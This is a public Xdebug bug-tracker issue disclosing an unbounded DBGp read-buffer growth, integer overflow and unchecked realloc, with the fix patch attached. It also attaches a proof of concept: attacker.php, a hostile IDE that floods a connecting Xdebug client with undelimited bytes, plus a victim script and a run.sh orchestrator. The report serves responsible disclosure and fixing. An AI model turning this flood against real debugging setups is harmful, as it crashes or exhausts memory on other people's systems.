View Issue Details

IDProjectCategoryView StatusLast Update
0002422XdebugStep Debuggingpublic2026-06-08 14:36
Reporterilia Assigned Toderick  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version3.5.1 
Target Version3.5devFixed in Version3.5.3 
Summary0002422: No limit on DBGP read buffer
Description
  • xdebug_fd_read_line_delim grows context->buffer with realloc() in 128-byte chunks until a NUL delimiter arrives. No cap.
  • _fd_buf::buffer_size is int; buffer_size + newl + 1 overflows near INT_MAX.
  • realloc() return is assigned into context->buffer with no NULL check; subsequent memcpy derefs NULL.

Fix: cap at 64 MiB (XDEBUG_DBGP_MAX_PACKET), realloc into a temp, NULL-check before assignment, free old buffer on failure.

Steps To Reproduce
  1. Run attacker.php: listens on 127.0.0.1:9003, accepts xdebug's connect, reads the init packet, then streams 'A' without ever sending '\0'.
  2. Run victim.php (xdebug.mode=debug, start_with_request=yes, client_port=9003).
  3. Unpatched: victim grows past memory_limit and dies silently; long enough run hits the signed overflow.

Patched: connection closed at the cap, victim runs to completion.

TagsNo tags attached.
Attached Files
run.sh (1,897 bytes)   
#!/usr/bin/env bash
# XD-002 PoC orchestrator.

PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}
DBGP_PORT=${DBGP_PORT:-9003}
# Override to a smaller value (e.g. 60) when running against an
# UNPATCHED xdebug to observe the unbounded growth without burning
# 10+ minutes of wall clock.
VICTIM_TIMEOUT=${VICTIM_TIMEOUT:-900}

set -u
HERE=$(dirname "$0")

if [ ! -x "$PHP" ];          then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ];    then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
    echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi

ATK_OUT=$(mktemp)
VIC_OUT=$(mktemp)
trap 'rm -f "$ATK_OUT" "$VIC_OUT"' EXIT

echo "spawning hostile IDE attacker on :$DBGP_PORT ..."
"$ATTACKER_PHP" "$HERE/attacker.php" "$DBGP_PORT" >"$ATK_OUT" 2>&1 &
ATK=$!

sleep 1

echo "spawning victim (start_with_request=yes, client_port=$DBGP_PORT) ..."
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
timeout "$VICTIM_TIMEOUT" \
"$PHP" \
    -d zend_extension="$XDEBUG_SO" \
    -d xdebug.mode=debug \
    -d xdebug.start_with_request=yes \
    -d xdebug.client_host=127.0.0.1 \
    -d xdebug.client_port="$DBGP_PORT" \
    -d memory_limit=512M \
    "$HERE/victim.php" \
    >"$VIC_OUT" 2>&1

wait $ATK 2>/dev/null

echo
echo "---attacker output---"
cat "$ATK_OUT"
echo
echo "---victim output---"
cat "$VIC_OUT"
echo
echo "Interpretation:"
echo "  PATCHED build:   attacker stops at ~64 MiB cleanly. victim prints 'victim alive' and exits 0. no ASan reports."
echo "  UNPATCHED build: victim consumes attacker bytes without bound. on a sufficiently long run (~10 min to reach"
echo "                   2 GiB / int overflow) the victim crashes; with memory_limit hit before that it dies on OOM."
run.sh (1,897 bytes)   
victim.php (400 bytes)   
<?php
/* XD-002 PoC victim. Any PHP script works -- with
 * xdebug.start_with_request=yes xdebug connects out to the IDE at
 * RINIT and blocks in the recv loop awaiting the first DBGp command.
 * The script body never runs (and never needs to) for the bug to
 * fire; we keep this minimal so the victim survives long enough for
 * the attacker to flood the cap. */

echo "victim alive\n";
sleep(1);
victim.php (400 bytes)   
attacker.php (2,091 bytes)   
<?php
/* XD-002 PoC attacker. Hostile IDE: accepts xdebug's outbound
 * connect, eats the init packet, then streams bytes without ever
 * sending the \0 delimiter that xdebug_fd_read_line_delim waits for.
 *
 * Pre-fix behavior: xdebug realloc()s context->buffer unbounded;
 * once buffer_size + newl + 1 overflows the signed int field
 * (~ 2 GiB on 64-bit), realloc receives a sign-extended size and
 * either truncates or returns NULL; the unchecked return is then
 * passed to memcpy → NULL deref or short-write OOB.
 *
 * Post-fix behavior: xdebug closes the connection at the
 * XDEBUG_DBGP_MAX_PACKET cap (64 MiB by default in the patch).
 * The PHP worker survives.
 *
 * Listen address: 127.0.0.1:9003 (matches xdebug.client_port default).
 * Edit if your test config uses a different port.
 */

$port = (int) ($argv[1] ?? 9003);

$srv = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr);
if (!$srv) {
    fwrite(STDERR, "listen failed on :$port -- $errstr ($errno)\n");
    exit(1);
}
echo "hostile IDE listening on :$port\n";

$conn = @stream_socket_accept($srv, 30);
if (!$conn) {
    fwrite(STDERR, "accept timeout / no connect from victim\n");
    exit(2);
}
echo "victim connected from " . stream_socket_get_name($conn, true) . "\n";

stream_set_timeout($conn, 5);
$init = '';
while (($b = fread($conn, 1)) !== '' && $b !== false) {
    $init .= $b;
    if ($b === "\0") break;
}
echo "ate init packet (" . strlen($init) . " bytes)\n";

echo "streaming payload with no NUL delimiter (watch victim memory)...\n";
$chunk = str_repeat('A', 65536);
$sent = 0;
$start = microtime(true);
$cap_probe = 128 * 1024 * 1024;  /* go up to 128 MiB; cap is 64 MiB */
while ($sent < $cap_probe) {
    $n = @fwrite($conn, $chunk);
    if ($n === false || $n === 0) {
        echo "fwrite returned $n at sent=" . round($sent / 1048576, 2) . " MiB after " . round(microtime(true) - $start, 2) . "s\n";
        break;
    }
    $sent += $n;
}
echo "total sent: " . round($sent / 1048576, 2) . " MiB in " . round(microtime(true) - $start, 2) . "s\n";

fclose($conn);
fclose($srv);
attacker.php (2,091 bytes)   
xd002_fix.patch (1,306 bytes)   
diff --git a/src/debugger/handler_dbgp.c b/src/debugger/handler_dbgp.c
index c6fadffa..c687132f 100644
--- a/src/debugger/handler_dbgp.c
+++ b/src/debugger/handler_dbgp.c
@@ -2434,6 +2434,7 @@ static int xdebug_dbgp_parse_option(xdebug_con *context, char* line, int flags,
 ** Handlers for debug functions
 */
 #define READ_BUFFER_SIZE 128
+#define XDEBUG_DBGP_MAX_PACKET (64 * 1024 * 1024)
 
 #define FD_RL_FILE    0
 #define FD_RL_SOCKET  1
@@ -2460,7 +2461,22 @@ static char* xdebug_fd_read_line_delim(int socketfd, fd_buf *context, int type,
 			newl = recv(socketfd, buffer, READ_BUFFER_SIZE, 0);
 		}
 		if (newl > 0) {
-			context->buffer = realloc(context->buffer, context->buffer_size + newl + 1);
+			char *new_buffer;
+
+			if (context->buffer_size > XDEBUG_DBGP_MAX_PACKET - newl - 1) {
+				free(context->buffer);
+				context->buffer = NULL;
+				context->buffer_size = 0;
+				return NULL;
+			}
+			new_buffer = realloc(context->buffer, context->buffer_size + newl + 1);
+			if (!new_buffer) {
+				free(context->buffer);
+				context->buffer = NULL;
+				context->buffer_size = 0;
+				return NULL;
+			}
+			context->buffer = new_buffer;
 			memcpy(context->buffer + context->buffer_size, buffer, newl);
 			context->buffer_size += newl;
 			context->buffer[context->buffer_size] = '\0';
xd002_fix.patch (1,306 bytes)   
Operating System
PHP Version8.4.10-8.4.19

Activities

Issue History

Date Modified Username Field Change
2026-05-19 23:56 ilia New Issue
2026-05-19 23:56 ilia File Added: run.sh
2026-05-19 23:56 ilia File Added: victim.php
2026-05-19 23:56 ilia File Added: attacker.php
2026-05-19 23:56 ilia File Added: xd002_fix.patch
2026-05-20 16:34 ilia Description Updated
2026-05-20 16:34 ilia Steps to Reproduce Updated
2026-05-20 16:34 ilia Additional Information Updated
2026-05-20 16:38 ilia Description Updated
2026-05-27 15:42 derick Status new => assigned
2026-05-27 15:42 derick Product Version => 3.5.1
2026-05-27 15:42 derick Target Version => 3.5dev
2026-05-27 15:42 derick Summary DBGp recv buffer: unbounded realloc + signed-int overflow + unchecked realloc return => No limit on DBGP read buffer
2026-05-27 15:42 derick Note Added: 0007500
2026-05-27 17:06 derick Assigned To => derick
2026-05-27 17:06 derick Status assigned => closed
2026-05-27 17:06 derick Resolution open => fixed
2026-05-27 17:06 derick Fixed in Version => 3.5dev
2026-06-08 13:44 derick Category Uncategorized => Step Debugging
2026-06-08 13:44 derick View Status private => public
2026-06-08 14:28 derick Fixed in Version 3.5dev => 3.5.2
2026-06-08 14:36 derick Fixed in Version 3.5.2 => 3.5.3